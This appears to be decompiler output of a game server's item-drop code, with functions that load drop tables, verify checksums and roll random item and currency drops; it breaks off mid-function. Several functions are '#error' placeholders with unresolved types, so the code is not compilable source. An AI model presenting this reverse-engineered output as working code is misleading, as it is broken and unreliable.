v3->dilig_ItemList[v3->dilig_MaxItem].itemid = itm; DropItemStruct::ItemGroup::operator_((int)&v3->dilig_ItemList[v3->dilig_MaxItem++].itemgroup, (int)ig); } //----- (0047C220) -------------------------------------------------------- #error "47C220: undefined or illegal type '#593' (funcsize=182)" //----- (0047C4C0) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropIndexCluster::_DropIndexCluster(ItemDropFromMob::DropIndexCluster *this) { OptionReader *v1; // edi@1 void *v2; // eax@1 void *v3; // esi@2 v1 = (OptionReader *)this; v2 = this->dic_DropItemBySpecies; if ( v2 ) { v3 = (char *)v2 - 4; _eh_vector_destructor_iterator_( v2, 0x190u, *((_DWORD *)v2 - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); operator delete__(v3); } OptionReader::_OptionReader(v1); } //----- (0047C530) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropItemListInGroup::DropItemListInGroup(ItemDropFromMob::DropItemListInGroup *this) { *(_QWORD *)&this->dilig_Index.ort_Name[12] = 0i64; *(_QWORD *)&this->dilig_Index.ort_Name[4] = 0i64; *(_DWORD *)&this->dilig_Index.ort_Name[0] = 0; _eh_vector_constructor_iterator_( this->dilig_ItemList, 0x66u, 100, (void (__thiscall *)(void *))ItemDropFromMob::DropItemListInGroup::__unnamed::__unnamed, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (0047C560) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropItemListInGroup::dilig_StoreItem(ItemDropFromMob::DropItemListInGroup *this, char *index, DropItemStruct::ItemGroup *ig) { ItemDropFromMob::DropItemListInGroup *v3; // ebp@1 unsigned __int16 v4; // ax@1 unsigned __int16 v5; // ax@4 unsigned __int16 v6; // si@4 ItemInfoServer *v7; // eax@4 DropItemStruct::ItemGroup *v8; // [sp-8h] [bp-38h]@9 DropItemStruct::ItemGroup *v9; // [sp+Ch] [bp-24h]@1 int pnt; // [sp+10h] [bp-20h]@3 ItemDropFromMob::DropItemListInGroup *thisa; // [sp+14h] [bp-1Ch]@1 char itmgrpidx[4]; // [sp+18h] [bp-18h]@3 int v13; // [sp+1Ch] [bp-14h]@3 int v14; // [sp+20h] [bp-10h]@3 int v15; // [sp+24h] [bp-Ch]@3 int v16; // [sp+28h] [bp-8h]@3 unsigned int v17; // [sp+2Ch] [bp-4h]@1 v3 = this; v17 = (unsigned int)&v9 ^ __security_cookie; thisa = this; v9 = ig; v4 = ItemDataBox::idb_2itemid(&itemdatabox, index); if ( v4 == -1 ) { v16 = 0; v15 = 0; v14 = 0; v13 = 0; *(_DWORD *)itmgrpidx = 0; strncpy(itmgrpidx, index, 0x14u); MobDataBox::mdb_iter_home((GatherProduce::RecipeBook *)&itemdatabox, &pnt); while ( 1 ) { v5 = ItemDataBox::idb_iter_Get(&itemdatabox, (unsigned int *)&pnt); v6 = v5; v7 = ItemDataBox::operator__(&itemdatabox, v5)->dataserv; if ( *(_DWORD *)&v7->DropGroupA[0] != *(_DWORD *)itmgrpidx || *(_DWORD *)&v7->DropGroupA[4] != v13 || *(_DWORD *)&v7->DropGroupA[8] != v14 || *(_DWORD *)&v7->DropGroupA[12] != v15 || (v3 = thisa, *(_DWORD *)&v7->DropGroupA[16] != v16) ) { if ( *(_DWORD *)&v7->DropGroupB[0] != *(_DWORD *)itmgrpidx || *(_DWORD *)&v7->DropGroupB[4] != v13 || *(_DWORD *)&v7->DropGroupB[8] != v14 || *(_DWORD *)&v7->DropGroupB[12] != v15 || *(_DWORD *)&v7->DropGroupB[16] != v16 ) goto LABEL_17; v8 = v9; } else { v8 = v9; } ItemDropFromMob::DropItemListInGroup::dilig_AppendItem(v3, v6, v8); LABEL_17: if ( !ItemDataBox::idb_iter_next(&itemdatabox, (unsigned int *)&pnt) ) return; } } ItemDropFromMob::DropItemListInGroup::dilig_AppendItem(v3, v4, ig); } //----- (0047C6A0) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropGroupCluster::DropGroupCluster(ItemDropFromMob::DropGroupCluster *this) { ItemDropFromMob::DropGroupCluster *v1; // esi@1 void *v2; // eax@1 int v3; // edi@2 v1 = this; this->dgc_MaxNumber = 64; v2 = operator new__(0x9FC04u); if ( v2 ) { v3 = (int)((char *)v2 + 4); *(_DWORD *)v2 = 64; _eh_vector_constructor_iterator_( (char *)v2 + 4, 0x27F0u, 64, (void (__thiscall *)(void *))ItemDropFromMob::DropItemListInGroup::DropItemListInGroup, (void (__thiscall *)(void *))ItemDropFromMob::DropItemListInGroup::_DropItemListInGroup); } else { v3 = 0; } v1->dgc_GroupList = (ItemDropFromMob::DropItemListInGroup *)v3; v1->dgc_Current = 0; } //----- (0047C720) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropGroupCluster::dgc_Append(ItemDropFromMob::DropGroupCluster *this, ORToken *index) { ItemDropFromMob::DropGroupCluster *v2; // ebx@1 int v3; // esi@1 ItemDropFromMob::DropItemListInGroup *v4; // ebp@2 int v5; // esi@2 void *v6; // eax@2 void *v7; // edi@2 unsigned int v8; // kr00_4@4 int v9; // eax@6 unsigned int v10; // ST0C_4@6 void *v11; // ST08_4@6 v2 = this; v3 = this->dgc_MaxNumber; if ( this->dgc_Current >= v3 ) { v4 = this->dgc_GroupList; v5 = v3 + 16; this->dgc_MaxNumber = v5; v6 = operator new__(10224 * v5 + 4); v7 = 0; if ( v6 ) { v7 = (char *)v6 + 4; *(_DWORD *)v6 = v5; _eh_vector_constructor_iterator_( (char *)v6 + 4, 0x27F0u, v5, (void (__thiscall *)(void *))ItemDropFromMob::DropItemListInGroup::DropItemListInGroup, (void (__thiscall *)(void *))ItemDropFromMob::DropItemListInGroup::_DropItemListInGroup); } v8 = 10224 * v2->dgc_Current; v2->dgc_GroupList = (ItemDropFromMob::DropItemListInGroup *)v7; memcpy(v7, v4, v8); if ( v4 ) { _eh_vector_destructor_iterator_( v4, 0x27F0u, *((_DWORD *)v4 - 1), (void (__thiscall *)(void *))ItemDropFromMob::DropItemListInGroup::_DropItemListInGroup); operator delete__((char *)v4 - 4); } } v9 = (int)&v2->dgc_GroupList[v2->dgc_Current]; *(_QWORD *)v9 = *(_QWORD *)&index->ort_Name[0]; *(_QWORD *)(v9 + 8) = *(_QWORD *)&index->ort_Name[8]; *(_DWORD *)(v9 + 16) = *(_DWORD *)&index->ort_Name[16]; *(_DWORD *)(v9 + 10220) = 0; v10 = v2->dgc_Current + 1; v11 = v2->dgc_GroupList; v2->dgc_Current = v10; qsort(v11, v10, 0x27F0u, ItemDropFromMob::DropItemListInGroup::dilig_Compare); } //----- (0047C850) -------------------------------------------------------- ItemDropFromMob::DropItemListInGroup *__thiscall ItemDropFromMob::DropGroupCluster::dgc_Find(ItemDropFromMob::DropGroupCluster *this, ORToken *index) { ItemDropFromMob::DropGroupCluster *v2; // edi@1 int v3; // eax@1 int v4; // edx@1 int v5; // ecx@1 int v6; // edx@1 unsigned int v7; // eax@1 const void *v8; // ecx@1 void *v9; // esi@1 int key; // [sp+Ch] [bp-27F4h]@1 int v12; // [sp+10h] [bp-27F0h]@1 int v13; // [sp+14h] [bp-27ECh]@1 int v14; // [sp+18h] [bp-27E8h]@1 int v15; // [sp+1Ch] [bp-27E4h]@1 char ptr; // [sp+20h] [bp-27E0h]@1 int v17; // [sp+27F8h] [bp-8h]@1 unsigned int v18; // [sp+27FCh] [bp-4h]@1 v18 = (unsigned int)&key ^ __security_cookie; v2 = this; v15 = 0; v14 = 0; v13 = 0; v12 = 0; key = 0; _eh_vector_constructor_iterator_( &ptr, 0x66u, 100, (void (__thiscall *)(void *))ItemDropFromMob::DropItemListInGroup::__unnamed::__unnamed, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v3 = *(_DWORD *)&index->ort_Name[8]; v4 = *(_DWORD *)&index->ort_Name[4]; key = *(_DWORD *)&index->ort_Name[0]; v5 = *(_DWORD *)&index->ort_Name[12]; v12 = v4; v6 = *(_DWORD *)&index->ort_Name[16]; v13 = v3; v7 = v2->dgc_Current; v14 = v5; v8 = v2->dgc_GroupList; v15 = v6; v17 = 0; v9 = bsearch(&key, v8, v7, 0x27F0u, ItemDropFromMob::DropItemListInGroup::dilig_Compare); _eh_vector_destructor_iterator_( &ptr, 0x66u, 100, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); return (ItemDropFromMob::DropItemListInGroup *)v9; } //----- (0047C920) -------------------------------------------------------- #error "47C920: undefined or illegal type '#593' (funcsize=164)" //----- (0047CB90) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropIndexCluster::dic_Load(ItemDropFromMob::DropIndexCluster *this, Name4 *world) { ItemDropFromMob::DropIndexCluster *v2; // ebx@1 int v3; // eax@1 int v4; // esi@1 void *v5; // eax@1 unsigned int v6; // edi@1 int v7; // ebp@2 int v8; // esi@4 int v9; // ebp@5 int v10; // edx@8 int v11; // ecx@8 int v12; // edx@8 int v13; // eax@9 int v14; // ebp@12 void *v15; // eax@13 void *v16; // edi@13 unsigned int v17; // esi@13 int v18; // ecx@14 int v19; // esi@14 int v20; // edx@14 bool v21; // zf@14 int v22; // esi@17 int v23; // esi@18 int v24; // ebp@18 ORToken *v25; // esi@24 signed int v26; // edi@24 int v27; // edx@31 int v28; // ecx@31 int v29; // edx@31 char v30; // bl@32 int v31; // eax@32 int v32; // edi@35 void *v33; // eax@36 void *v34; // esi@36 int v35; // ecx@37 int v36; // eax@37 signed int v37; // edx@37 int v38; // ebx@38 int v39; // ebp@38 ItemDropFromMob::DropItemListInGroup *v40; // eax@42 ORToken v41; // [sp-18h] [bp-109B8h]@13 void *v42; // [sp-14h] [bp-109B4h]@2 unsigned int v43; // [sp-10h] [bp-109B0h]@2 int v44; // [sp-Ch] [bp-109ACh]@2 void (__thiscall *v45)(void *); // [sp-8h] [bp-109A8h]@2 int v46; // [sp-4h] [bp-109A4h]@2 unsigned __int8 v47; // [sp+10h] [bp-10990h]@1 void *i; // [sp+14h] [bp-1098Ch]@1 ORToken *v49; // [sp+18h] [bp-10988h]@13 OptionReader or; // [sp+1Ch] [bp-10984h]@31 int buf; // [sp+10870h] [bp-130h]@8 int v52; // [sp+10874h] [bp-12Ch]@8 int v53; // [sp+10878h] [bp-128h]@8 int v54; // [sp+1087Ch] [bp-124h]@8 char v55; // [sp+10880h] [bp-120h]@8 char path[128]; // [sp+10890h] [bp-110h]@8 char v57; // [sp+10910h] [bp-90h]@25 unsigned int v58; // [sp+10990h] [bp-10h]@1 int v59; // [sp+1099Ch] [bp-4h]@1 v2 = this; v58 = (unsigned int)&v47 ^ __security_cookie; v3 = MobDataBox::operator int(&mobdatabox); v4 = v3; v5 = operator new__(400 * v3 + 4); i = v5; v6 = 0; v59 = 0; if ( v5 ) { v46 = (int)ShineObjectClass::ShineMobileObject::smo_ChineCastCut; v45 = (void (__thiscall *)(void *))MoveManager::MoveManager; v44 = v4; v7 = (int)((char *)v5 + 4); v43 = 400; v42 = (char *)v5 + 4; *(_DWORD *)v5 = v4; _eh_vector_constructor_iterator_(v42, v43, v44, v45, (void (__thiscall *)(void *))v46); } else { v7 = 0; } v59 = -1; v2->dic_DropItemBySpecies = (ItemDropFromMob::DropItemListForSpecies *)v7; v8 = 0; if ( MobDataBox::operator int(&mobdatabox) > 0 ) { v9 = 0; do { memset(&v2->dic_DropItemBySpecies[v9], 0, sizeof(v2->dic_DropItemBySpecies[v9])); ++v8; ++v9; } while ( v8 < MobDataBox::operator int(&mobdatabox) ); v6 = 0; } v10 = *(_DWORD *)&world->n4_name[4]; buf = *(_DWORD *)&world->n4_name[0]; v11 = *(_DWORD *)&world->n4_name[8]; v52 = v10; v12 = *(_DWORD *)&world->n4_name[12]; v53 = v11; v54 = v12; v55 = 0; sprintf(path, "../9Data/Hero/World/%s/ItemDropTable.txt"); if ( !OptionReader::or_Read(&v2->dic_Table, path) ) { *(&v47 + 3) = OptionReader::or_Read(&v2->dic_Table, "../9Data/Hero/World/ItemDropTable.txt"); v13 = OptionReader::or_ErrorLine(&v2->dic_Table); if ( *(&v47 + 3) == v6 ) { AssertClass::ac_AssertFail(&shineassert, "DropItemManager::dim_Load : Error in ItemDropTable.txt", v13); ShineExit("ItemDropFromMob::DropIndexCluster::dic_Load"); } } v14 = 0; while ( 1 ) { v46 = v14; v49 = &v41; i = (void *)v14; v45 = (void (__thiscall *)(void *))v6; v44 = v6; v43 = v6; v42 = (void *)v6; *(_DWORD *)&v41.ort_Name[0] = v6; strncpy(v41.ort_Name, "ItemGroup", 0x14u); v15 = OptionReader::or_SelectFromOrder(&v2->dic_Table, v41, v46); v16 = v15; v17 = 0; if ( !v15 ) break; v18 = *((_WORD *)v15 + 33); v19 = *(_DWORD *)((char *)v15 + 1470); v20 = *((_BYTE *)v15 + 70); v21 = v20 + *(_DWORD *)((char *)v15 + 71) + *(_DWORD *)((char *)v15 + 75) + *(_DWORD *)((char *)v15 + 79) + v18 + *((_WORD *)v15 + 34) != v19; v49 = (ORToken *)(v20 + *(_DWORD *)((char *)v15 + 71) + *(_DWORD *)((char *)v15 + 75) + *(_DWORD *)((char *)v15 + 79) + v18 + *((_WORD *)v15 + 34) == v19); if ( v21 ) { AssertClass::ac_AssertFail(&shineassert, "Checksum error in DropTable where MobID is", v14); ShineExit("ItemDropFromMob::DropIndexCluster::dic_Load"); } v22 = MobDataBox::mdb_2MobID(&mobdatabox, (const char *)v15 + 33); if ( v22 < MobDataBox::operator int(&mobdatabox) ) { v23 = (int)&v2->dic_DropItemBySpecies[v22]; v24 = *((_BYTE *)v16 + 70); if ( *(_DWORD *)(v23 + 4 * v24) ) { v46 = *((_BYTE *)v16 + 70); AssertClass::ac_AssertFail( &shineassert, "ItemDropFromMob::DropItemListForSpecies::dilfs_Store : AbstateNum is duplicate", v46); ShineExit("ItemDropFromMob::DropItemListForSpecies::dilfs_Store"); } v49 = (ORToken *)((unsigned int)v24 < 0x64); if ( (unsigned int)v24 >= 0x64 ) { AssertClass::ac_AssertFail( &shineassert, "ItemDropFromMob::DropItemListForSpecies::dilfs_Store : AbstateNum is too big", v24); ShineExit("ItemDropFromMob::DropItemListForSpecies::dilfs_Store"); } *(_DWORD *)(v23 + 4 * v24) = v16; v25 = (ORToken *)((char *)v16 + 155); v26 = 45; do { if ( *ORToken::ort_GetString(v25, &v57) != 45 && !ItemDropFromMob::DropGroupCluster::dgc_Find(&dropgroupcluster, v25) ) ItemDropFromMob::DropGroupCluster::dgc_Append(&dropgroupcluster, v25); v25 = (ORToken *)((char *)v25 + 27); --v26; } while ( v26 ); v14 = (int)i; } ++v14; v6 = 0; } OptionReader::OptionReader(&or); v27 = *(_DWORD *)&world->n4_name[4]; buf = *(_DWORD *)&world->n4_name[0]; v28 = *(_DWORD *)&world->n4_name[8]; v52 = v27; v29 = *(_DWORD *)&world->n4_name[12]; v46 = (int)&buf; v53 = v28; v59 = 1; v54 = v29; v55 = 0; sprintf(path, "../9Data/Hero/World/%s/ItemDropGroup.txt"); if ( !OptionReader::or_Read(&or, path) ) { v30 = OptionReader::or_Read(&or, "../9Data/Hero/World/ItemDropGroup.txt"); v31 = OptionReader::or_ErrorLine(&or); if ( !v30 ) { AssertClass::ac_AssertFail(&shineassert, "DropItemManager::dim_Load : Error in ItemDropGroup.txt", v31); ShineExit("ItemDropFromMob::DropIndexCluster::dic_Load"); } } v32 = 0; while ( 1 ) { v46 = v32; v49 = &v41; v45 = (void (__thiscall *)(void *))v17; v44 = v17; v43 = v17; v42 = (void *)v17; *(_DWORD *)&v41.ort_Name[0] = v17; strncpy(v41.ort_Name, "ItemDropGroup", 0x14u); v33 = OptionReader::or_SelectFromOrder(&or, v41, v46); v34 = v33; if ( !v33 ) break; v35 = *((_WORD *)v33 + 30) + *((_WORD *)v33 + 31); v36 = (int)((char *)v33 + 68); v37 = 4; do { v38 = *(_WORD *)(v36 + 2) + *(_WORD *)(v36 - 2) + *(_WORD *)(v36 - 4); v39 = v35 + *(_WORD *)v36; v36 += 8; --v37; v35 = v38 + v39; } while ( v37 ); if ( v35 != *((_DWORD *)v34 + 24) ) { AssertClass::ac_AssertFail(&shineassert, "Checksum error in ItemGroup at", v32); ShineExit("ItemDropFromMob::DropIndexCluster::dic_Load"); } v40 = ItemDropFromMob::DropGroupCluster::dgc_Find(&dropgroupcluster, (ORToken *)v34); if ( v40 ) ItemDropFromMob::DropItemListInGroup::dilig_StoreItem(v40, (char *)v34 + 20, (DropItemStruct::ItemGroup *)v34); ++v32; v17 = 0; } v59 = -1; OptionReader::_OptionReader(&or); __security_check_cookie((unsigned int)&v47 ^ v58); } //----- (0047D020) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropItemListForSpecies::dilfs_Drop(ItemDropFromMob::DropItemListForSpecies *this, DropItemStruct::DropTable *droptable, ORToken *regengroup, #593 *attacker, ShineMultiTypeHandle *victim, RateRecalc *LooterHandle, unsigned int raterecalc) { ItemDropFromMob::DropItemListForSpecies *v7; // ebp@1 unsigned int v8; // eax@10 unsigned int v9; // eax@11 unsigned __int16 v10; // ax@11 char *v11; // esi@13 int v12; // edx@18 int v13; // eax@18 int v14; // edx@18 int v15; // ecx@18 int v16; // edx@18 unsigned int moneydiff; // [sp+10h] [bp-68h]@1 ShineMultiTypeHandle *v18; // [sp+14h] [bp-64h]@1 ShineMultiTypeHandle *rrcalc; // [sp+18h] [bp-60h]@1 RateRecalc *v20; // [sp+1Ch] [bp-5Ch]@1 int tmp; // [sp+20h] [bp-58h]@11 FunctionEntarance _; // [sp+24h] [bp-54h]@1 char dii[4]; // [sp+28h] [bp-50h]@4 int *v24; // [sp+2Ch] [bp-4Ch]@4 char v25[4]; // [sp+30h] [bp-48h]@4 int v26; // [sp+34h] [bp-44h]@4 int v27; // [sp+38h] [bp-40h]@4 int v28; // [sp+3Ch] [bp-3Ch]@11 int v29; // [sp+40h] [bp-38h]@11 unsigned int v30; // [sp+44h] [bp-34h]@11 int v31; // [sp+48h] [bp-30h]@18 char *v32; // [sp+4Ch] [bp-2Ch]@18 int v33; // [sp+50h] [bp-28h]@18 int v34; // [sp+54h] [bp-24h]@18 int v35; // [sp+58h] [bp-20h]@18 int v36; // [sp+5Ch] [bp-1Ch]@18 int v37; // [sp+60h] [bp-18h]@18 int v38; // [sp+64h] [bp-14h]@18 unsigned int v39; // [sp+68h] [bp-10h]@1 int v40; // [sp+74h] [bp-4h]@1 v7 = this; v39 = (unsigned int)&moneydiff ^ __security_cookie; v20 = LooterHandle; v18 = victim; rrcalc = (ShineMultiTypeHandle *)raterecalc; _.fe_FunctionCode = "ItemDropFromMob::DropItemListForSpecies::dilfs_Drop"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ItemDropFromMob::DropItemListForSpecies::dilfs_Drop"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemDropFromMob::DropItemListForSpecies::dilfs_Drop"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v40 = 0; if ( !(_S14_6 & 1) ) { _S14_6 |= 1u; *(_QWORD *)&dash.ort_Name[12] = 0i64; *(_QWORD *)&dash.ort_Name[4] = 0i64; *(_DWORD *)&dash.ort_Name[0] = 0; strncpy(dash.ort_Name, "-", 0x14u); atexit(_E15_8); } if ( droptable->index.area[0] == 45 || (v27 = 0, v26 = 0, *(_DWORD *)v25 = 0, v24 = 0, *(_DWORD *)dii = 0, strncpy(dii, droptable->index.area, 0x14u), *(_DWORD *)dii == *(_DWORD *)®engroup->ort_Name[0]) && v24 == *(int **)®engroup->ort_Name[4] && *(_DWORD *)v25 == *(_DWORD *)®engroup->ort_Name[8] && v26 == *(_DWORD *)®engroup->ort_Name[12] && v27 == *(_DWORD *)®engroup->ort_Name[16] ) { if ( droptable->cen.rate > 0 ) { v8 = droptable->cen.maxcen; if ( v8 > 0 ) { v9 = v8 - droptable->cen.mincen; v29 = 0; v28 = 0; v27 = 0; v26 = 0; *(_DWORD *)v25 = 0; tmp = 100; moneydiff = v9; v10 = RandomBox::rb_1000(&rndbox); v30 = droptable->cen.mincen + ((unsigned int)(moneydiff * v10 * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6); if ( v30 ) { *(_DWORD *)dii = droptable->cen.rate; v24 = &tmp; v29 = 0; v28 = 0; v27 = 0; v26 = 0; *(_DWORD *)v25 = 0; strncpy(v25, "Cen", 0x14u); ItemDropFromMob::DropItemListForSpecies::dilfs_DropByRate( v7, (ItemDropFromMob::DropItemInform *)dii, attacker, (RateRecalc *)v18, rrcalc, (unsigned int)v20); } } } v11 = &droptable->droptable[0].dropitemgroup.ort_Name[8]; moneydiff = 45; do { if ( __PAIR__(*((_DWORD *)v11 - 1), *((_DWORD *)v11 - 2)) != *(_QWORD *)&dash || *(_QWORD *)v11 != *(_QWORD *)&dash.ort_Name[8] || *((_DWORD *)v11 + 2) != *(_DWORD *)&dash.ort_Name[16] ) { if ( v11[16] == 114 ) { v12 = *((_DWORD *)v11 + 3); v33 = *((_DWORD *)v11 - 2); v13 = *(_DWORD *)v11; v31 = v12; v14 = *((_DWORD *)v11 - 1); v32 = v11 + 17; v15 = *((_DWORD *)v11 + 1); v35 = v13; v34 = v14; v16 = *((_DWORD *)v11 + 2); v36 = v15; v37 = v16; v38 = 0; ItemDropFromMob::DropItemListForSpecies::dilfs_DropByRate( v7, (ItemDropFromMob::DropItemInform *)&v31, attacker, (RateRecalc *)v18, rrcalc, (unsigned int)v20); } } v11 += 27; --moneydiff; } while ( moneydiff ); } --funcallanalizer.fca_stackpoint; v40 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ItemDropFromMob::DropItemListForSpecies::dilfs_Drop"); __security_check_cookie((unsigned int)&moneydiff ^ v39); } // 47D020: inconsistent function type and number of purged bytes //----- (0047D330) -------------------------------------------------------- #error "47D330: undefined or illegal type '#593' (funcsize=102)" //----- (0047D4A0) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropIndexCluster::dic_ItemDrop(ItemDropFromMob::DropIndexCluster *this, #593 *attacker, MobDataBox::MobDataBoxIndex *mobdata, #1429 *a4, ShineMultiTypeHandle *victim, unsigned int LooterHandle) { ItemDropFromMob::DropIndexCluster *v6; // ebp@1 FunctionEntarance _; // [sp+10h] [bp-B0h]@1 void *v8; // [sp+14h] [bp-ACh]@1 unsigned int v9; // [sp+18h] [bp-A8h]@1 ORToken regengroup; // [sp+1Ch] [bp-A4h]@6 char buffer[128]; // [sp+30h] [bp-90h]@8 unsigned int v12; // [sp+B0h] [bp-10h]@1 int v13; // [sp+BCh] [bp-4h]@1 v6 = this; v12 = (unsigned int)&_ ^ __security_cookie; v9 = LooterHandle; v8 = (void *)a4; _.fe_FunctionCode = "ItemDropFromMob::DropIndexCluster::dic_ItemDrop"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ItemDropFromMob::DropIndexCluster::dic_ItemDrop"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemDropFromMob::DropIndexCluster::dic_ItemDrop"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v13 = 0; if ( mobdata && mobdata->data && mobdata->data->ID < MobDataBox::operator int(&mobdatabox) && attacker && victim ) { ORToken::ORToken(®engroup, "-"); if ( v8 ) MobRegenClass::MobBreeder::mb_RegenGroupIndex(v8, (int)®engroup); ORToken::ort_GetString(®engroup, buffer); ItemDropFromMob::DropItemListForSpecies::dilfs_ItemDrop( &v6->dic_DropItemBySpecies[mobdata->data->ID], ®engroup, attacker, victim, v9); v13 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ItemDropFromMob::DropIndexCluster::dic_ItemDrop"); } __security_check_cookie((unsigned int)&_ ^ v12); } // 47D4A0: inconsistent function type and number of purged bytes //----- (0047D630) -------------------------------------------------------- char __thiscall ItemDataBox::idb_iter_next(ItemDataBox *this, unsigned int *pnt) { unsigned int v2; // edx@1 v2 = *pnt + 1; *pnt = v2; return v2 < this->idb_Itemspacies; } //----- (0047D650) -------------------------------------------------------- unsigned __int16 __thiscall ItemDataBox::idb_iter_Get(ItemDataBox *this, unsigned int *pnt) { unsigned __int16 result; // ax@2 if ( *pnt < this->idb_Itemspacies ) result = BinaryDataBox::operator__((BinaryDataBox *)&this->idb_BinData, *pnt)->ID; else result = -1; return result; } //----- (0047D680) -------------------------------------------------------- void __thiscall ItemGroupClassifier::ItemGroupClassifier(ItemGroupClassifier *this) { ItemGroupClassifier *v1; // esi@1 v1 = this; BTree::BTree(&this->igc_btree); _eh_vector_constructor_iterator_( v1->igc_itemgroup, 0x20u, 1000, (void (__thiscall *)(void *))CardDeck::CardStack::CardStack, (void (__thiscall *)(void *))CardDeck::CardStack::_CardStack); } //----- (0047D6E0) -------------------------------------------------------- void __thiscall ItemGroupClassifier::_ItemGroupClassifier(ItemGroupClassifier *this) { BTree *v1; // esi@1 v1 = (BTree *)this; _eh_vector_destructor_iterator_( this->igc_itemgroup, 0x20u, 1000, (void (__thiscall *)(void *))CardDeck::CardStack::_CardStack); BTree::_BTree(v1); } //----- (0047D740) -------------------------------------------------------- void __thiscall ItemGroupClassifier::igc_Store(ItemGroupClassifier *this, unsigned __int16 itmid, char *dropgroup) { ItemGroupClassifier *v3; // edi@1 unsigned int v4; // esi@3 int v5; // eax@7 CardDeck::CardStack *v6; // esi@11 v3 = this; if ( *dropgroup && *dropgroup != 45 ) { v4 = BTree::operator__(&this->igc_btree, dropgroup); if ( v4 == -1 ) { v5 = v3->igc_point; if ( (unsigned int)v5 >= 0x3E8 ) { AssertClass::ac_AssertFail(&shineassert, "ItemGroupClassifier::igc_Load : Too many groups", v5); ShineExit("ItemGroupClassifier::igc_Store"); } v4 = v3->igc_point; v3->igc_point = v4 + 1; BTree::bt_Insert(&v3->igc_btree, dropgroup, v4); } else { if ( v4 >= v3->igc_point ) { AssertClass::ac_AssertFail(&shineassert, "ItemGroupClassifier::igc_Load : invalid index", v4); ShineExit("ItemGroupClassifier::igc_Store"); } } v6 = &v3->igc_itemgroup[v4]; CardDeck::CardStack::cs_InsertTop(v6, itmid); CardDeck::CardStack::cs_Suffle(v6, 1); } } //----- (0047D810) -------------------------------------------------------- #error "47D810: undefined or illegal type '#593' (funcsize=17)" //----- (0047D840) -------------------------------------------------------- #error "47D840: undefined or illegal type '#593' (funcsize=18)" //----- (0047D870) -------------------------------------------------------- int __thiscall CardDeck::CardStack::cs_CardNum(CardDeck::CardStack *this) { return this->cs_deck.l_ListNum; } //----- (0047D880) -------------------------------------------------------- unsigned __int16 __thiscall CardDeck::CardStack::cs_TakeTop(CardDeck::CardStack *this, unsigned int *card) { ListStruct *v2; // edx@1 unsigned __int16 v3; // ax@1 int v4; // eax@2 unsigned int *v5; // esi@3 unsigned __int16 result; // ax@4 int li; // [sp+0h] [bp-4h]@1 HIWORD(li) = HIWORD(this); v2 = this->cs_deck.l_Array; v3 = v2[this->cs_deck.l_Finger.store].ls_Next; if ( v3 < this->cs_deck.l_MaxSize && (v4 = (int)&v2[v3], *(_BYTE *)(v4 + 8)) && (v5 = *(unsigned int **)v4) != 0 ) { LOWORD(li) = v2[this->cs_deck.l_Finger.store].ls_Next; ((void (__stdcall *)(int))this->cs_deck.vfptr->l_Free)(li); *card = *v5; result = 1; } else { result = 0; } return result; } //----- (0047D8E0) -------------------------------------------------------- void __thiscall ItemGroupClassifier::igc_Load(ItemGroupClassifier *this) { unsigned int v1; // ebp@1 ItemGroupClassifier *v2; // ebx@1 signed __int16 i; // di@2 int v4; // esi@5 unsigned __int16 v5; // cx@7 v1 = 0; v2 = this; this->igc_point = 0; if ( itemdatabox.idb_Itemspacies > 0 ) goto LABEL_3; for ( i = -1; ; i = BinaryDataBox::operator__(&stru_131DECBC, v1)->ID ) { if ( (unsigned int)(unsigned __int16)i < *(_DWORD *)word_131DE8B4 ) { v4 = unk_131DF0C4 + 32 * (unsigned __int16)i; if ( v4 ) { if ( *(_DWORD *)v4 ) { v5 = **(_WORD **)v4; if ( v5 == i ) goto LABEL_10; AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", v5 + 10000 * (unsigned __int16)i); } } } v4 = 0; LABEL_10: ItemGroupClassifier::igc_Store(v2, i, (char *)(*(_DWORD *)(v4 + 4) + 66)); ItemGroupClassifier::igc_Store(v2, i, (char *)(*(_DWORD *)(v4 + 4) + 106)); ++v1; if ( v1 >= itemdatabox.idb_Itemspacies ) break; LABEL_3: ; } } //----- (0047D990) -------------------------------------------------------- unsigned __int16 __thiscall ItemGroupClassifier::igc_Getitem(ItemGroupClassifier *this, char *str, unsigned int clsmask) { ItemGroupClassifier *v3; // edi@1 char *v4; // ebx@1 unsigned int v5; // eax@1 unsigned __int16 v6; // si@1 unsigned int v7; // eax@3 bool v8; // zf@4 int v9; // ebx@7 CardDeck::CardStack *v10; // edi@7 unsigned int v11; // ebp@7 ItemDataBox::ItemDataBoxIndex *v12; // eax@9 unsigned __int16 result; // ax@15 const char *v14; // [sp-8h] [bp-28h]@13 int v15; // [sp-4h] [bp-24h]@13 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemGroupClassifier::igc_Getitem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemGroupClassifier::igc_Getitem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = str; v5 = BTree::operator__(&stru_131DE8B8, str); v6 = v5; if ( 